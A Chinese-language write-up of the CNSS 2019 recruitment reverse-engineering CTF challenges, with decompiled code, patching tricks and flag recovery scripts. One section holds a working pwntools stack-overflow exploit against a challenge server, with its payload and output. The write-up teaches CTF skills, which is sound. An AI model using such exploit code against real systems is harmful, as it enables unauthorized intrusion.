CNSS Recruit 2019 Reverse Writeup

搭建虛擬機

按照題目要求，安裝VM，下載Ubuntu64鏡像，在虛擬機里直接執行文件即可得到Flag

byaidu@ubuntu:~/ws$ ./movgcc cnss{H31l0,1inUx!!}

 

Baby_string

Flag在原程序中以明文存儲，用IDA加載並按Shift+F12查看字符串即可找到

.data:00403004 00000019 C cnss{7h1s_iS_wh4t_R3_1s}

 

Baby_encode

F5查看偽代碼

scanf("%s", input); for ( i = 0; i < strlen(flag); ++i ) flag[i] ^= 7u; if ( !strcmp(flag, input) ) puts("Oh you got the flag!");

 注意flag處存儲着一段數據

.data:00403004 ; char flag[] .data:00403004 _flag           db 'ditt|7oXj~X`77777777C&z',0

 發現將密文的每一位都異或上7就能得到Flag

#include <cstdio> #include <cstring>
char flag[]="ditt|7oXj~X`77777777C&z"; int main() { for (int i=0;i<strlen(flag);i++) flag[i]^=7u; printf("%s",flag); } //cnss{0h_my_g00000000D!}

 

snake

F5查看偽代碼

v4 = dword_40EDC0 ^ 0xE9; if ( v4 > 265 ) { v5 = dword_40EDC0 ^ 0xE9; sub_4032B3(v5); }

由偽代碼可知，當蛇的長度大於265時，游戲就能通關

考慮在關鍵命令處Patch，想辦法把v4和v5的值改成266即可偽裝成通關的狀態

Tab查看匯編代碼

.text:00402E87 loc_402E87:                             ; CODE XREF: sub_4027D6+6AB↑j .text:00402E87 mov eax, ds:dword_40EDC0 .text:00402E8C xor al, 0E9h .text:00402E8E cmp eax, 109h .text:00402E93 jle short loc_402EA4 .text:00402E95 mov eax, ds:dword_40EDC0 .text:00402E9A xor al, 0E9h .text:00402E9C mov [esp], eax .text:00402E9F                 call    sub_4032B3

查看上下文可知dword_40EDC0中存儲着蛇的長度異或上0x0E9的結果，又因為266=0x10A=0x1E3^0x0E9，所以把兩處mov eax, ds:dword_40EDC0都替換成mov eax, 1E3h，修改完成后記得Apply 

這時再運行程序即可直接得到Flag

//cnss{CE_caN_ju5T_Act_w1lfulLy!!}

 

Baby_Assembly_Code

此題主要考察Linux64傳參順序

extern printf SECTION .data name: db 'mrh929', 0 HelloCnss: db 'hello,cnss!', 10, 9 , "---%s", 10,0 str1: db "Let's start reading the assembly code!",10,0 enc: db 0,0,0,7,6,83,83,0,19,11,84,79,7,17,65,5,73,29,14,77,4,4,0,0,2,18,31,6,24,14,13,13,73,12,1,69,68,0,0,0 str2: db "Come on!",10,0 exp1: db "%s%s",0 str3: db "input your answer:",10,0 exp2: db "(%d + %d + %d + %d * %d - (%d >> 1)) ^ %d = ?", 10, "%s" ，0 SECTION .text global main alter_str: //字符串編碼，將edi指向的字符串中的每個值都異或上esi指向的字符串中的對應值，遇到0為止
    push    rbp //保存堆棧
 mov rbp, rsp xor ecx, ecx //清空ecx
 label: mov al, [edi+ecx] //edi+ecx地址中的值存到al寄存器
    test    al, al //判斷al是否為零
    je      quit //zf=1即al為零跳到quit
    mov     bl, [esi+ecx] //esi+ecx地址中的值存到al寄存器
    xor     al, bl //用bl異或al
    mov     [edi+ecx], al //al中的值存到edi+ecx地址中
    add     ecx, 1 //ecx++指向下一位
    jmp     label //跳到label
 quit: leave //還原堆棧
    ret //返回原函數
 main: ;主函數從這里開始 push rbp //保存堆棧
 mov rbp, rsp mov rdi, HelloCnss //HelloCnss的地址存到rdi寄存器中
    mov     rsi, name //name的地址存到rsi寄存器中
    call    printf //輸出HelloCnss和name
 mov rdi, str1 //str的地址存到rdi寄存器中
    mov     rsi, enc //enc的地址存到rsi寄存器中
    call    alter_str //調用alter_str，用enc編碼str1
 mov rdi, exp1 //同理
 mov rsi, str1 mov rdx, str2 call printf //調用printf函數，用exp1格式化輸出str1和str2
 mov rdi, exp2 mov rsi, 1 mov rdx, 2 mov rcx, 3 mov r8, 4 mov r9, 5 push str3 push 7 push 6 mov rax, 0 call printf //用exp2格式化輸出其它參數，輸出(1 + 2 + 3 + 4 * 5 - (6 >> 1)) ^ 7 = ? <換行> str3 //_fastcall盡可能用mov寄存器傳參，_stdcall和_cdecl用push堆棧傳參，順序從右到左（至少C++里是這個順序） //64位linux下前6個參數用寄存器傳入，后面的所有參數壓棧傳入 //32位linux下所有函數都用壓棧傳入
 sub rsp, 10 //棧頂-10，提供大小為10的空間
    mov     rax, 0 //rax=0
    mov     rdi, 2 //rdi=2
    mov     rsi, rsp //rsi=棧頂，告訴函數棧空間位置
    mov     rdx, 10 //rdx=10即告訴函數棧空間大小為10
    syscall //syscall是linux中間層，類似於int中斷，這里通過syscall來調用sys_read讀取用戶輸入
 ; prepare for fixing input lea rcx, [rsi] //rcx=rsi
    add     rcx, rax //rcx指向字符串末尾
 push 0x000a  //壓棧10
    mov     rdx, 0x2174686769722074 push rdx mov rdx, 0x6f6e207369207325 push rdx mov rax, rsp //壓棧字符串”%s is not right!”，rax指向字符串
 mov rdx, 0x000a21746867 push rdx mov rdx, 0x6972207369207325 push rdx mov rbx, rsp //壓棧字符串”%s is right!”，rbx指向字符串
 mov dl, [rsi] cmp dl, 0x31 jne end mov dl, [rsi+1] cmp dl, 0x36 jne end mov dl, [rsi+2] cmp dl, 0xa jne end //判斷輸入為16 <換行>，如果不是則跳到end
 mov rdi, rbx //rdi指向字符串”%s is right!”
    jmp     stop  //跳到stop
 end: mov rdi, rax //rdi指向字符串”%s is not right!”
 stop: ; Fix the output sub rcx, 1 //rcx-=1
    mov     byte [rcx], 0 //字符串末尾添0
 ; Show the result xor rax, rax //rax=0
    call    printf //輸出結果is (not) right!
 mov rax, 0 //rax=0
    leave //還原堆棧
    ret  //返回原函數

 

<--指針-->

此題主要考察有符號無符號類型轉換

*(unsigned long long*)(a.var1) = 0x01020304aabbccdd 聲明a.var1指向八個字節大小的空間，並在其中存儲了八個字節的內容，在內存中的順序是由低到高 a.var1[i]以unsigned char的形式一次從中取出一個字節並輸出，%X接受四個字節，因為是無符號數，前三個字節全部補0即可 結果為 0xDD,0xCC,0xBB,0xAA,0x4,0x3,0x2,0x1, a.var2[i]以char的形式一次從中取出一個字節，但%X接受四個字節，所以需要類型轉換，又因為char是有符號數，所以需要判斷符號位 處理01，02，03，04時候因為二進制最高位為0，要保證表示的數字不變，前面全部補0即可，沒有影響 處理aa，bb，cc，dd時候因為二進制最高位為1，計算機中負數用補碼表示，要保證表示的數字不變，前面全部補1，換成16進制即為F 結果為 0xFFFFFFDD,0xFFFFFFCC,0xFFFFFFBB,0xFFFFFFAA,0x4,0x3,0x2,0x1, a.var1 + 8 + i 地址越位，指向存儲在a.var1之后的a.var2，並將其指向的內容改寫為0到7，而對a.var1的內容沒有影響 結果為 0xDD,0xCC,0xBB,0xAA,0x4,0x3,0x2,0x1, 0x0,0x1,0x2,0x3,0x4,0x5,0x6,0x7,

 

Easy_Flat

F5查看偽代碼

  __isoc99_scanf("%s", s);
  v12 = strlen(s);
  v8 = 2094104837;
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            while ( 1 )
            {
              while ( 1 )
              {
                while ( v8 == -1910856655 )
                {
                  v4 = -1741896534;
                  if ( v9 <= 25 )
                    v4 = 437352961;
                  v8 = v4;
                }
                if ( v8 != -1741896534 )
                  break;
                v5 = strcmp(s, (const char *)(unsigned int)s2) == 0;
                v6 = 1105054524;
                if ( v5 )
                  v6 = 304955634;
                v8 = v6;
              }
              if ( v8 != -1214177781 )
                break;
              sub_400610(s);
              v11 = 0;
              v8 = 658032998;
            }
            if ( v8 != -1113027527 )
              break;
            v9 = 0;
            v8 = -1910856655;
          }
          if ( v8 != -170736245 )
            break;
          ++v9;
          v8 = -1910856655;
        }
        if ( v8 != 304955634 )
          break;
        sub_400640(s);
        v8 = 658032998;
      }
      if ( v8 != 437352961 )
        break;
      s[v9] += v9;
      v8 = -170736245;
    }
    if ( v8 == 658032998 )
      break;
    if ( v8 == 1105054524 )
    {
      sub_400610(s);
      v8 = 658032998;
    }
    else if ( v8 == 2094104837 )
    {
      v3 = -1113027527;
      if ( v12 != 26 )
        v3 = -1214177781;
      v8 = v3;
    }
  }

注意到s2處存儲着一段數據

.data:0000000000601050 ; char s2[4] .data:0000000000601050 s2              db 63h, 6Fh, 75h, 76h, 7Fh, 35h, 68h, 6Dh, 7Dh, 3Eh, 6Dh, 6Ch, 60h, 3Eh, 3Eh, 7Dh, 6Fh, 42h, 65h, 72h, 7Bh, 67h, 49h, 78h, 6Ch, 96h

雖然代碼經過混淆，但是很容易就能看出加密算法

通過如下三個關鍵語句，可以猜出程序的邏輯是把用戶輸入的Flag的每一位的ASCII都加上這一位的序數，再和程序中存儲的密文進行比較

v9 = 0; ++v9; s[v9] += v9;

所以只要把密文的每一位都減去這一位的序數就可以得到Flag了

#include <cstdio> #include <cstring>
char flag[]={0x63,0x6F,0x75,0x76,0x7F,0x35,0x68,0x6D,0x7D,0x3E,0x6D,0x6C,0x60,0x3E,0x3E,0x7D,0x6F,0x42,0x65,0x72,0x7B,0x67,0x49,0x78,0x6C,0x96}; int main() { for (int i=0;i<sizeof(flag);i++) flag[i]-=i; printf("%s",flag); } //cnss{0bfu5caT10n_1S_gR3aT}

 

Mips架構逆向

直接用IDA插件一把梭，或者照着Mips指令集硬翻就可以了

//cnss{71me_t0_le4rn_Mips}

 

輝夜大小姐想要玩游戲

F5查看偽代碼

__isoc99_scanf("%s", s);
  v4 = s;
  if ( strlen(s) == v3 )
  {
    v7 = 0;
    v8 = 0;
    while ( v7 <= 80 )
    {
      if ( !dword_203020[v7] )
      {
        v6 = v8++;
        dword_203020[v7] = s[v6] - 48;
      }
      ++v7;
    }
    v9 = 1;
    for ( i = 0; i <= 8; ++i )
    {
      v4 = (char *)&dword_203020[9 * i];
      v9 &= sub_F3B(v4);
    }
    for ( j = 0; j <= 8; ++j )
    {
      v4 = (char *)&dword_203020[j];
      v9 &= sub_FFA(v4);
    }
    for ( k = 0; k <= 2; ++k )
    {
      for ( l = 0; l <= 2; ++l )
      {
        v4 = (char *)&dword_203020[27 * k + 3 * l];
        v9 &= sub_10C3(v4);
      }
    }
    if ( v9 )
    {
      puts("don-dayo!");
      sub_11A1(s);
      puts(byte_2032C0);
    }
  }

sub_F3B檢測每行是否有重復數字

sub_FFA檢測每行是否有重復數字

sub_10C3檢測每個3x3區域是否有重復數字

容易聯想到題目是在要求我們填入數獨的答案

將dword_203020處的數據以每行9列的格式顯示，可以印證上邊的猜測

.data:0000000000203020 ; _DWORD dword_203020[104] .data:0000000000203020 dword_203020    dd 0, 0, 7, 0, 0, 0, 4, 0, 0 .data:0000000000203020                                         ; DATA XREF: sub_127B+21↑o .data:0000000000203020                                         ; main+F2↑o ... .data:0000000000203020                 dd 6, 0, 0, 3, 0, 0, 0, 0, 8 .data:0000000000203020                 dd 0, 0, 0, 0, 0, 1, 0, 0, 0 .data:0000000000203020                 dd 3, 0, 0, 9, 0, 0, 0, 0, 1 .data:0000000000203020                 dd 0, 0, 0, 0, 4, 0, 2, 0, 0 .data:0000000000203020                 dd 8, 0, 0, 0, 0, 0, 0, 0, 0 .data:0000000000203020                 dd 0, 0, 2, 0, 0, 0, 0, 9, 0 .data:0000000000203020                 dd 0, 0, 0, 6, 0, 0, 0, 0, 3 .data:0000000000203020                 dd 0, 0, 4, 0, 0, 0, 0, 0, 0 .data:0000000000203020                 dd 0, 0, 0, 0, 0, 0, 0, 0, 0 .data:0000000000203020                 dd 0, 0, 0, 0, 0, 0, 0, 0, 0

 接下來只需要把數據填到在線解數獨網站上求解，再將結果輸入到程序中即可得到Flag

//cnss{faN7ast1c_5ud0ku_R3verse!!}

 

Junk Code

開局F5，結果IDA代碼分析失敗，不能生成偽代碼

Space查看匯編代碼，發現存在大量垃圾代碼導致IDA不能正常分析代碼

分析如下的垃圾代碼

.text:00411AC2                 call    $+5 .text:00411AC7 add dword ptr [esp], 5 .text:00411ACB retn

首先執行call $+5使得ret=00411AC7

再執行add dword ptr [esp], 5使得ret+=5，這時ret=00411ACC

最后執行retn，使得程序跳轉到ret指向的位置，即00411ACC

考慮把call $+5替換成jmp $+10，或者把上述三條語句都nop掉，這樣IDA就能正常分析代碼了，這里用的是第一種方法

我們可以先把call $+5替換成jmp 00411ACCh，發現對應的字節從E8 00 00 00 00變為EB 08 00 00 00

同理我們可以利用C32asm把所有的E8 00 00 00 00都用EB 08 00 00 00來替換，這樣就實現了所有call $+5到jmp $+10的轉化

這時我們再F5就可以正常生成偽代碼了

v26 = (int *)(unsigned __int8)*(&Str + i); v33 = sub_41133E(v26); v29 = dword_41D000[v32]; v32++;
if ( v33 != v29 ) {
 return sub_41123A(v12, v11); }

 注意到dword_41D000處存儲着一段數據

.data:0041D000 ; int dword_41D000[35] .data:0041D000 dword_41D000 dd 0ED02Eh, 14519Fh, 173801h, 173801h, 1C683Ch, 2AEBEh .data:0041D000 ; DATA XREF: sub_411780+1639↑r .data:0041D000 dd 169D98h, 1872B0h, 17D3CDh, 0FB9DCh, 0D16FAh, 53D52h .data:0041D000 dd 1B055h, 169D98h, 0ED02Eh, 0FB9DCh, 0D16FAh, 28AD0h .data:0041D000 dd 14E08Ch, 0D16FAh, 53D52h, 400E9h, 0ED02Eh, 12B367h .data:0041D000 dd 0D16FAh, 63088h, 1872B0h, 14519Fh, 2064Fh, 0D16FAh .data:0041D000 dd 49854h, 14E08Ch, 4CCEFh, 0FB9DCh, 1DCFEBh

程序將用戶輸入內容的每一位都用sub_41133E加密再和程序中的密文比較，所以我們只需要建立一個反向映射即可解密密文，從而得到Flag

這里可以偷個懶，介紹一種從外部調用exe中函數的方法，眾所周知exe和dll都是PE文件，所以可以把exe當成dll來用，需要使用CFF Explorer修改PE屬性為DLL，網上有很多關於修改方法的文章，具體細節在此不再闡述

加載exe后把0~127作為參數依次調用sub_41133E可以很方便地得到映射關系，從而建立反向映射解密密文。

#include <stdio.h> #include <windows.h> #include <map>
using namespace std; typedef int (*func1)(int); map<int,int> keymap; int code[]={0x0ED02E,0x14519F,0x173801,0x173801,0x1C683C,0x2AEBE,0x169D98,0x1872B0,0x17D3CD,0x0FB9DC,0x0D16FA,0x53D52,0x1B055,0x169D98,0x0ED02E,0x0FB9DC,0x0D16FA,0x28AD0,0x14E08C,0x0D16FA,0x53D52,0x400E9,0x0ED02E,0x12B367,0x0D16FA,0x63088,0x1872B0,0x14519F,0x2064F,0x0D16FA,0x49854,0x14E08C,0x4CCEF,0x0FB9DC,0x1DCFEB}; int main(){ HMODULE hdll = NULL; hdll = LoadLibrary("JunkCode.exe"); if(hdll != NULL){ printf("YES\n"); func1 myfunc = ((func1)((PBYTE)hdll+0x1133E)); for (int i=0;i<128;i++) 　　　　{ 　　　　　　int ret=myfunc(i); 　　　　　　keymap[ret]=i; 　　　　　　printf("%d->%d\n",i,ret); 　　　　} 　　　　for (int i=0;i<sizeof(code);i++) 　　　　{ 　　　　　　char ch=(char)keymap[code[i]]; 　　　　　　printf("%c",ch); 　　　　} }else{ printf("NO\n"); } FreeLibrary(hdll); return 0; } //cnss{8rute_F0rce_7o_F@ck_Jun3_CoDe}

 

砰的前奏

F5查看偽代碼

ssize_t key() { char buf; // [rsp+0h] [rbp-20h] puts("Send me a string."); return read(0, &buf, 0x100uLL); }
int ans() { return system("cat ./flag"); }

查看棧幀

-0000000000000020 buf             db 32 dup(?) +0000000000000000  s              db 8 dup(?) +0000000000000008  r              db 8 dup(?)

key函數存在緩沖區漏洞，利用棧溢出替換掉ret地址，使程序跳轉到ans函數打印Flag

注意到ret前有buf+s=40字節的空間需要填充，所以構造payload = "A"*40 + p64(callsystem)

#!python #!/usr/bin/env python from pwn import * p = remote("139.9.5.20",60609) callsystem = 0x40070A payload = "A"*40 + p64(callsystem) p.send(payload) p.interactive()

Pwn，得到Flag

byaidu@ubuntu:~$ python ./test.py [+] Opening connection to 139.9.5.20 on port 60609: Done [*] Switching to interactive mode Send me a string. cnss{W31c0me_t0_pwn1ng_w0r1d} [*] Got EOF while reading in interactive

 

Confusion

F5查看偽代碼

  sub_426980("%s", &unk_4992A0); sub_4026A4(); sub_4026CE(); sub_40280B(); sub_40275E(); sub_402B39(); if ( (unsigned __int8)sub_402B82(&unk_499322, &unk_499312) ) { sub_402630(); }

sub_4026A4和sub_4026CE檢測輸入的格式

sub_40280B解密程序中存儲的Flag密文

sub_40275E和sub_402B39分別用同一套算法來加密用戶輸入的Flag和剛才解密得到的Flag

對於前面的格式檢測，填入cnss{00000000000000000000000000}即可繞過

發現程序會在運行時還原出明文Flag，所以只要在sub_40280B后下斷點就可以從內存中找到Flag

.bss:004992E0 ; char aCnssUH4ve5ett1[50] .bss:004992E0 aCnssUH4ve5ett1 db 'cnss{U_h4ve_5ett1ed_A_haRd_Gam3}',0

 

Surprise

F5查看偽代碼，發現有Upx殼的相關信息，於是先脫Upx殼

upx surprise -d

再F5查看偽代碼

第一層的密碼位數很短，可以不用逆向出邏輯，直接就能暴力跑出來

接下來會有一個假跳轉

需要查看匯編代碼找到真正的跳轉地址

真正的函數里會用Switch混淆過的代碼來解密Flag，看下存在xor指令可以猜出來是這里用的是異或加密，但是具體的順序看不出來

.text:00000000004017CD loc_4017CD: ; CODE XREF: .text:0000000000401A63↓j .text:00000000004017CD mov eax, [rbp-0FCCh] .text:00000000004017D3 cdqe .text:00000000004017D5 mov eax, dword_6030E0[rax*4] .text:00000000004017DC cmp eax, 1Fh ; switch 32 cases .text:00000000004017DF ja loc_401A5B ; jumptable 00000000004017EF default case .text:00000000004017E5 mov eax, eax .text:00000000004017E7 mov rax, ds:off_4021D8[rax*8] .text:00000000004017EF jmp rax ; switch jump .text:00000000004017F1 ; --------------------------------------------------------------------------- .text:00000000004017F1 .text:00000000004017F1 loc_4017F1: ; CODE XREF: .text:00000000004017EF↑j .text:00000000004017F1 ; DATA XREF: .rodata:off_4021D8↓o .text:00000000004017F1 mov eax, [rbp-0FCCh] ; jumptable 00000000004017EF case 1 .text:00000000004017F7 add eax, 1 .text:00000000004017FA cdqe .text:00000000004017FC mov eax, dword_6030E0[rax*4] .text:0000000000401803                 add     [rbp-0FC8h], eax .text:0000000000401809                 add     dword ptr [rbp-0FCCh], 2 .text:0000000000401810 jmp loc_401A5C .text:0000000000401815 ; --------------------------------------------------------------------------- .text:0000000000401815 .text:0000000000401815 loc_401815: ; CODE XREF: .text:00000000004017EF↑j .text:0000000000401815 ; DATA XREF: .rodata:off_4021D8↓o .text:0000000000401815                 mov     eax, [rbp-0FCCh] ; jumptable 00000000004017EF case 2 .text:000000000040181B add eax, 1 .text:000000000040181E cdqe .text:0000000000401820                 mov     ecx, dword_6030E0[rax*4] .text:0000000000401827                 mov     eax, [rbp-0FC8h] .text:000000000040182D cdq .text:000000000040182E idiv ecx .text:0000000000401830                 mov     [rbp-0FC8h], edx .text:0000000000401836                 add     dword ptr [rbp-0FCCh], 2 .text:000000000040183D jmp loc_401A5C .text:0000000000401842 ; --------------------------------------------------------------------------- .text:0000000000401842 .text:0000000000401842 loc_401842: ; CODE XREF: .text:00000000004017EF↑j .text:0000000000401842 ; DATA XREF: .rodata:off_4021D8↓o .text:0000000000401842                 mov     eax, [rbp-0FC0h] ; jumptable 00000000004017EF case 3 .text:0000000000401848                 xor     [rbp-0FC4h], eax .text:000000000040184E add dword ptr [rbp-0FCCh], 1 .text:0000000000401855 jmp loc_401A5C .text:000000000040185A ; --------------------------------------------------------------------------- .text:000000000040185A .text:000000000040185A loc_40185A: ; CODE XREF: .text:00000000004017EF↑j .text:000000000040185A ; DATA XREF: .rodata:off_4021D8↓o .text:000000000040185A mov eax, [rbp-0FC8h] ; jumptable 00000000004017EF case 4 .text:0000000000401860 cdqe .text:0000000000401862 movzx eax, ds:byte_6031C0[rax] .text:0000000000401869 movzx eax, al .text:000000000040186C mov [rbp-0FC4h], eax .text:0000000000401872                 add     dword ptr [rbp-0FCCh], 1 .text:0000000000401879 jmp loc_401A5C .text:000000000040187E ; --------------------------------------------------------------------------- .text:000000000040187E .text:000000000040187E loc_40187E: ; CODE XREF: .text:00000000004017EF↑j .text:000000000040187E ; DATA XREF: .rodata:off_4021D8↓o .text:000000000040187E mov eax, [rbp-0FC8h] ; jumptable 00000000004017EF case 5 .text:0000000000401884 cdqe .text:0000000000401886                 movzx   eax, byte ptr ds:qword_6031A0[rax] .text:000000000040188D movzx eax, al .text:0000000000401890                 mov     [rbp-0FC0h], eax .text:0000000000401896                 add     dword ptr [rbp-0FCCh], 1 .text:000000000040189D jmp loc_401A5C .text:00000000004018A2 ; --------------------------------------------------------------------------- .text:00000000004018A2 .text:00000000004018A2 loc_4018A2: ; CODE XREF: .text:00000000004017EF↑j .text:00000000004018A2 ; DATA XREF: .rodata:off_4021D8↓o .text:00000000004018A2 mov eax, [rbp-0FC8h] ; jumptable 00000000004017EF case 6 .text:00000000004018A8 cdqe .text:00000000004018AA movzx eax, byte_6030A0[rax] .text:00000000004018B1 movzx eax, al .text:00000000004018B4 mov [rbp-0FC0h], eax .text:00000000004018BA add dword ptr [rbp-0FCCh], 1 .text:00000000004018C1 jmp loc_401A5C .text:00000000004018C6 ; --------------------------------------------------------------------------- .text:00000000004018C6 .text:00000000004018C6 loc_4018C6: ; CODE XREF: .text:00000000004017EF↑j .text:00000000004018C6 ; DATA XREF: .rodata:off_4021D8↓o .text:00000000004018C6 mov eax, [rbp-0FCCh] ; jumptable 00000000004017EF case 7 .text:00000000004018CC add eax, 1 .text:00000000004018CF cdqe .text:00000000004018D1 mov eax, dword_6030E0[rax*4] .text:00000000004018D8 mov [rbp-0FC8h], eax .text:00000000004018DE add dword ptr [rbp-0FCCh], 2 .text:00000000004018E5 jmp loc_401A5C .text:00000000004018EA ; --------------------------------------------------------------------------- .text:00000000004018EA .text:00000000004018EA loc_4018EA: ; CODE XREF: .text:00000000004017EF↑j .text:00000000004018EA ; DATA XREF: .rodata:off_4021D8↓o .text:00000000004018EA mov eax, [rbp-0FCCh] ; jumptable 00000000004017EF case 8 .text:00000000004018F0 add eax, 1 .text:00000000004018F3 cdqe .text:00000000004018F5 mov eax, dword_6030E0[rax*4] .text:00000000004018FC sub [rbp-0FC8h], eax .text:0000000000401902                 add     dword ptr [rbp-0FCCh], 2 .text:0000000000401909 jmp loc_401A5C .text:000000000040190E ; --------------------------------------------------------------------------- .text:000000000040190E .text:000000000040190E loc_40190E: ; CODE XREF: .text:00000000004017EF↑j .text:000000000040190E ; DATA XREF: .rodata:off_4021D8↓o .text:000000000040190E mov eax, [rbp-0FBCh] ; jumptable 00000000004017EF case 11 .text:0000000000401914                 lea     edx, [rax+1] .text:0000000000401917                 mov     [rbp-0FBCh], edx .text:000000000040191D cdqe .text:000000000040191F mov edx, [rbp-0FC0h] .text:0000000000401925                 mov     [rbp+rax*4-0FB0h], edx .text:000000000040192C add dword ptr [rbp-0FCCh], 1 .text:0000000000401933 jmp loc_401A5C .text:0000000000401938 ; --------------------------------------------------------------------------- .text:0000000000401938 .text:0000000000401938 loc_401938: ; CODE XREF: .text:00000000004017EF↑j .text:0000000000401938 ; DATA XREF: .rodata:off_4021D8↓o .text:0000000000401938                 cmp     dword ptr [rbp-0FBCh], 0 ; jumptable 00000000004017EF case 10 .text:000000000040193F jle short loc_40195D .text:0000000000401941                 sub     dword ptr [rbp-0FBCh], 1 .text:0000000000401948                 mov     eax, [rbp-0FBCh] .text:000000000040194E cdqe .text:0000000000401950                 mov     eax, [rbp+rax*4-0FB0h] .text:0000000000401957                 mov     [rbp-0FC0h], eax .text:000000000040195D .text:000000000040195D loc_40195D: ; CODE XREF: .text:000000000040193F↑j .text:000000000040195D add dword ptr [rbp-0FCCh], 1 .text:0000000000401964 jmp loc_401A5C .text:0000000000401969 ; --------------------------------------------------------------------------- .text:0000000000401969 .text:0000000000401969 loc_401969: ; CODE XREF: .text:00000000004017EF↑j .text:0000000000401969 ; DATA XREF: .rodata:off_4021D8↓o .text:0000000000401969                 sub     dword ptr [rbp-0FC8h], 1 ; jumptable 00000000004017EF case 12 .text:0000000000401970                 add     dword ptr [rbp-0FCCh], 1 .text:0000000000401977 jmp loc_401A5C .text:000000000040197C ; --------------------------------------------------------------------------- .text:000000000040197C .text:000000000040197C loc_40197C: ; CODE XREF: .text:00000000004017EF↑j .text:000000000040197C ; DATA XREF: .rodata:off_4021D8↓o .text:000000000040197C mov eax, [rbp-0FB8h] ; jumptable 00000000004017EF case 13 .text:0000000000401982                 mov     [rbp-0FC8h], eax .text:0000000000401988                 add     dword ptr [rbp-0FCCh], 1 .text:000000000040198F jmp loc_401A5C .text:0000000000401994 ; --------------------------------------------------------------------------- .text:0000000000401994 .text:0000000000401994 loc_401994: ; CODE XREF: .text:00000000004017EF↑j .text:0000000000401994 ; DATA XREF: .rodata:off_4021D8↓o .text:0000000000401994                 mov     eax, [rbp-0FC8h] ; jumptable 00000000004017EF case 14 .text:000000000040199A mov [rbp-0FB8h], eax .text:00000000004019A0 add dword ptr [rbp-0FCCh], 1 .text:00000000004019A7 jmp loc_401A5C .text:00000000004019AC ; --------------------------------------------------------------------------- .text:00000000004019AC .text:00000000004019AC loc_4019AC: ; CODE XREF: .text:00000000004017EF↑j .text:00000000004019AC ; DATA XREF: .rodata:off_4021D8↓o .text:00000000004019AC mov eax, [rbp-0FCCh] ; jumptable 00000000004017EF case 20 .text:00000000004019B2 add eax, 1 .text:00000000004019B5 cdqe .text:00000000004019B7 mov eax, dword_6030E0[rax*4] .text:00000000004019BE cmp eax, [rbp-0FC8h] .text:00000000004019C4 jl short loc_4019E0 .text:00000000004019C6 mov eax, [rbp-0FCCh] .text:00000000004019CC add eax, 2 .text:00000000004019CF cdqe .text:00000000004019D1 mov eax, dword_6030E0[rax*4] .text:00000000004019D8 mov [rbp-0FCCh], eax .text:00000000004019DE jmp short loc_401A5C .text:00000000004019E0 ; --------------------------------------------------------------------------- .text:00000000004019E0 .text:00000000004019E0 loc_4019E0: ; CODE XREF: .text:00000000004019C4↑j .text:00000000004019E0 mov eax, [rbp-0FCCh] .text:00000000004019E6 add eax, 3 .text:00000000004019E9 cdqe .text:00000000004019EB mov eax, dword_6030E0[rax*4] .text:00000000004019F2 mov [rbp-0FCCh], eax .text:00000000004019F8 jmp short loc_401A5C .text:00000000004019FA ; --------------------------------------------------------------------------- .text:00000000004019FA .text:00000000004019FA loc_4019FA: ; CODE XREF: .text:00000000004017EF↑j .text:00000000004019FA ; DATA XREF: .rodata:off_4021D8↓o .text:00000000004019FA mov eax, [rbp-0FC4h] ; jumptable 00000000004017EF case 21 .text:0000000000401A00 cmp eax, [rbp-0FC0h] .text:0000000000401A06 jnz short loc_401A22 .text:0000000000401A08 mov eax, [rbp-0FCCh] .text:0000000000401A0E add eax, 2 .text:0000000000401A11 cdqe .text:0000000000401A13 mov eax, dword_6030E0[rax*4] .text:0000000000401A1A mov [rbp-0FCCh], eax .text:0000000000401A20 jmp short loc_401A5C .text:0000000000401A22 ; --------------------------------------------------------------------------- .text:0000000000401A22 .text:0000000000401A22 loc_401A22: ; CODE XREF: .text:0000000000401A06↑j .text:0000000000401A22 mov eax, [rbp-0FCCh] .text:0000000000401A28 add eax, 1 .text:0000000000401A2B cdqe .text:0000000000401A2D mov eax, dword_6030E0[rax*4] .text:0000000000401A34 mov [rbp-0FCCh], eax .text:0000000000401A3A jmp short loc_401A5C .text:0000000000401A3C ; --------------------------------------------------------------------------- .text:0000000000401A3C .text:0000000000401A3C loc_401A3C: ; CODE XREF: .text:00000000004017EF↑j .text:0000000000401A3C ; DATA XREF: .rodata:off_4021D8↓o .text:0000000000401A3C mov dword ptr [rbp-0FB4h], 1 ; jumptable 00000000004017EF case 30 .text:0000000000401A46 jmp short loc_401A5C .text:0000000000401A48 ; --------------------------------------------------------------------------- .text:0000000000401A48 .text:0000000000401A48 loc_401A48: ; CODE XREF: .text:00000000004017EF↑j .text:0000000000401A48 ; DATA XREF: .rodata:off_4021D8↓o .text:0000000000401A48 mov cs:dword_6031F4, 1 ; jumptable 00000000004017EF case 31 .text:0000000000401A52 add dword ptr [rbp-0FCCh], 1 .text:0000000000401A59 jmp short loc_401A5C .text:0000000000401A5B ; --------------------------------------------------------------------------- .text:0000000000401A5B .text:0000000000401A5B loc_401A5B: ; CODE XREF: .text:00000000004017DF↑j .text:0000000000401A5B ; .text:00000000004017EF↑j .text:0000000000401A5B ; DATA XREF: ... .text:0000000000401A5B nop ; jumptable 00000000004017EF default case .text:0000000000401A5C .text:0000000000401A5C loc_401A5C: ; CODE XREF: .text:00000000004017C8↑j .text:0000000000401A5C ; .text:0000000000401810↑j ... .text:0000000000401A5C cmp dword ptr [rbp-0FB4h], 0 .text:0000000000401A63 jz loc_4017CD .text:0000000000401A69 mov eax, cs:dword_6031F4 .text:0000000000401A6F test eax, eax .text:0000000000401A71 jnz short loc_401A7F .text:0000000000401A73 mov eax, 0 .text:0000000000401A78 call sub_40083E .text:0000000000401A7D ; --------------------------------------------------------------------------- .text:0000000000401A7D jmp short loc_401A89 .text:0000000000401A7F ; --------------------------------------------------------------------------- .text:0000000000401A7F .text:0000000000401A7F loc_401A7F: ; CODE XREF: .text:0000000000401A71↑j .text:0000000000401A7F mov eax, 0 .text:0000000000401A84 call sub_400856 .text:0000000000401A89 ; --------------------------------------------------------------------------- .text:0000000000401A89 .text:0000000000401A89 loc_401A89: ; CODE XREF: .text:0000000000401A7D↑j .text:0000000000401A89 nop .text:0000000000401A8A mov rax, [rbp-8] .text:0000000000401A8E xor rax, fs:28h .text:0000000000401A97 jz short locret_401A9E .text:0000000000401A99 call ___stack_chk_fail .text:0000000000401A9E ; --------------------------------------------------------------------------- .text:0000000000401A9E .text:0000000000401A9E locret_401A9E: ; CODE XREF: .text:0000000000401A97↑j .text:0000000000401A9E leave .text:0000000000401A9F retn .text:0000000000401A9F ; } // starts at 401747

